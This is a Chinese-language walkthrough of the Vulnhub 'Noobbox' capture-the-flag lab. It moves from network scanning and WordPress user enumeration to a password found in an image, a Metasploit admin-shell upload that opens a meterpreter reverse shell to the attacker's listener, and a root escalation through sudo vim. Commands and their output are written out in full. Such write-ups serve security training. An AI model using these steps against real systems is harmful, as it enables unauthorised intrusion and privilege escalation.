Vulnhub: Noobbox
Vulnhub: Noobbox
2021-08-25 14:05:08
1.找到目标
确定目标为192.168.1.109。
┌──(root💀kali)-[~]
└─# nmap 192.168.1.1/24 -p80
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 17:11 CST
Nmap scan report for 192.168.1.1
Host is up (0.00036s latency).
PORT STATE SERVICE
80/tcp open http
MAC Address: 80:8F:1D:FB:77:E0 (Tp-link Technologies)
Nmap scan report for 192.168.1.109
Host is up (0.00019s latency).
PORT STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:1C:F6:FC (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.1.150
Host is up (0.00019s latency).
PORT STATE SERVICE
80/tcp filtered http
MAC Address: 04:92:26:CF:9D:F1 (Asustek Computer)
Nmap scan report for 192.168.1.106
Host is up (0.000035s latency).
PORT STATE SERVICE
80/tcp closed http
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.08 seconds
2.扫描并分析目标
发现目标运行wordpress。
┌──(root💀kali)-[~]
└─# nmap -sC -A 192.168.1.109
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 17:13 CST
Nmap scan report for 192.168.1.109
Host is up (0.00023s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:1C:F6:FC (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=8/25%OT=80%CT=1%CU=41701%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=612609C0%P=x86_64-pc-linux-gnu)SEQ(SP=109%GCD=1%ISR=10A%TI=Z%CI=Z%II=I
OS:%TS=A)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O
OS:5=M5B4ST11NW6%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6
OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.23 ms 192.168.1.109
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.09 seconds网站目录扫描。
┌──(root💀kali)-[~]
└─# nmap --script=http-enum 192.168.1.109
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 17:16 CST
Nmap scan report for 192.168.1.109
Host is up (0.00018s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /wordpress/: Blog
| /wordpress/wp-login.php: Wordpress login page.
|_ /manual/: Potentially interesting folder
MAC Address: 08:00:27:1C:F6:FC (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 10.72 seconds
3.枚举wordpress用户
发现用户noobbox。
(也可以使用命令wpscan -e u --url 192.168.1.109/wordpress进行扫描）
┌──(root💀kali)-[~]
└─# nmap --script=http-wordpress-users --script-args=basepath=/wordpress/ 192.168.1.109
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 14:02 CST
Nmap scan report for 192.168.1.109
Host is up (0.00011s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
| http-wordpress-users:
| Username found: noobbox
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
MAC Address: 08:00:27:1C:F6:FC (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds4.扫描网站图片
发现文件img.jpg，下载或者浏览器打开此图片，可得到信息5p4c3，猜测此为密码。
┌──(root💀kali)-[~]
└─# ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.1.109/FUZZ -e .jpg,.png,.jpeg,.gif -of html
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://192.168.1.109/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Extensions : .jpg .png .jpeg .gif
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
.hta [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
.hta.gif [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess.png [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess.jpg [Status: 403, Size: 278, Words: 20, Lines: 10]
.hta.jpeg [Status: 403, Size: 278, Words: 20, Lines: 10]
.hta.png [Status: 403, Size: 278, Words: 20, Lines: 10]
.hta.jpg [Status: 403, Size: 278, Words: 20, Lines: 10]
.htpasswd.gif [Status: 403, Size: 278, Words: 20, Lines: 10]
.htpasswd.jpeg [Status: 403, Size: 278, Words: 20, Lines: 10]
.htpasswd.png [Status: 403, Size: 278, Words: 20, Lines: 10]
.htpasswd.jpg [Status: 403, Size: 278, Words: 20, Lines: 10]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess.gif [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess.jpeg [Status: 403, Size: 278, Words: 20, Lines: 10]
img.jpg [Status: 200, Size: 4811, Words: 21, Lines: 29]
index.html [Status: 200, Size: 10701, Words: 3427, Lines: 369]
manual [Status: 301, Size: 315, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
wordpress [Status: 301, Size: 318, Words: 20, Lines: 10]
:: Progress: [23430/23430] :: Job [1/1] :: 133 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
5.获得meterpreter reverse shell
使用msfconsole进入控制台。
设置如下，并运行。
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.1.109
rhosts => 192.168.1.109
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
targeturi => /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username noobbox
username => noobbox
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password 5p4c3
password => 5p4c3
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 192.168.1.106:4444
[*] Authenticating with WordPress using noobbox:5p4c3...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wordpress/wp-content/plugins/nmyzoxoRan/eodxjTkwnQ.php...
[*] Sending stage (39282 bytes) to 192.168.1.109
[+] Deleted eodxjTkwnQ.php
[+] Deleted nmyzoxoRan.php
[+] Deleted ../nmyzoxoRan
[*] Meterpreter session 1 opened (192.168.1.106:4444 -> 192.168.1.109:45880) at 2021-08-25 14:58:40 +0800
meterpreter > sysinfo
Computer : N00bBox
OS : Linux N00bBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)6.获得用户noobbox下的flag。
meterpreter > cd /home
meterpreter > ls
Listing: /home
==============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2021-03-10 18:44:30 +0800 noobbox
meterpreter > cd noobbox
meterpreter > ls
Listing: /home/noobbox
======================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 220 fil 2021-03-06 15:25:32 +0800 .bash_logout
100644/rw-r--r-- 3526 fil 2021-03-06 15:25:32 +0800 .bashrc
40755/rwxr-xr-x 4096 dir 2021-03-10 18:38:26 +0800 .local
100755/rwxr-xr-x 807 fil 2021-03-06 15:25:32 +0800 .profile
100600/rw------- 672 fil 2021-03-10 13:22:31 +0800 .viminfo
100644/rw-r--r-- 47 fil 2021-03-10 13:31:14 +0800 user.txt
meterpreter > cat user.txt
USER FLAG : {e7028891afea8df6164a35880cc7e2e5}
meterpreter >
7.获得root权限
获得shell并使用python生成tty shell。
meterpreter > shell
Process 721 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory
whoami
www-data
python -c 'import pty; pty.spawn("/bin/sh")'
sh: 0: getcwd() failed: No such file or directory
$ whoami
whoami
www-data
$
查看用户列表。可知noobbox可以使用rbash。
$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/rbash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
noobbox:x:1000:1000:noobbox,,,:/home/noobbox:/bin/rbash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
$
切换到用户noobbox并查看权限。
可知用户noobbox可以使用sudo 执行程序/usr/bin/vim。
$ su noobbox
su noobbox
Password: 5p4c3
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
noobbox@N00bBox:$ sudo -l
sudo -l
[sudo] password for noobbox: 5p4c3
Matching Defaults entries for noobbox on N00bBox:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User noobbox may run the following commands on N00bBox:
(ALL : ALL) /usr/bin/vim
noobbox@N00bBox:$
突破rbash限制。
noobbox@N00bBox:$ sudo /usr/bin/vim -c ':!/bin/bash':!/bin/bash
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@N00bBox:.# 进入根目录，可得到flag。
root@N00bBox:~# cd /root
cd /root
root@N00bBox:~# ls
ls
root.txt
root@N00bBox:~# cat root.txt
cat root.txt
ROOT FLAG : {a4c45279eaad84e5bb8ae0dfc5034400}
root@N00bBox:~#
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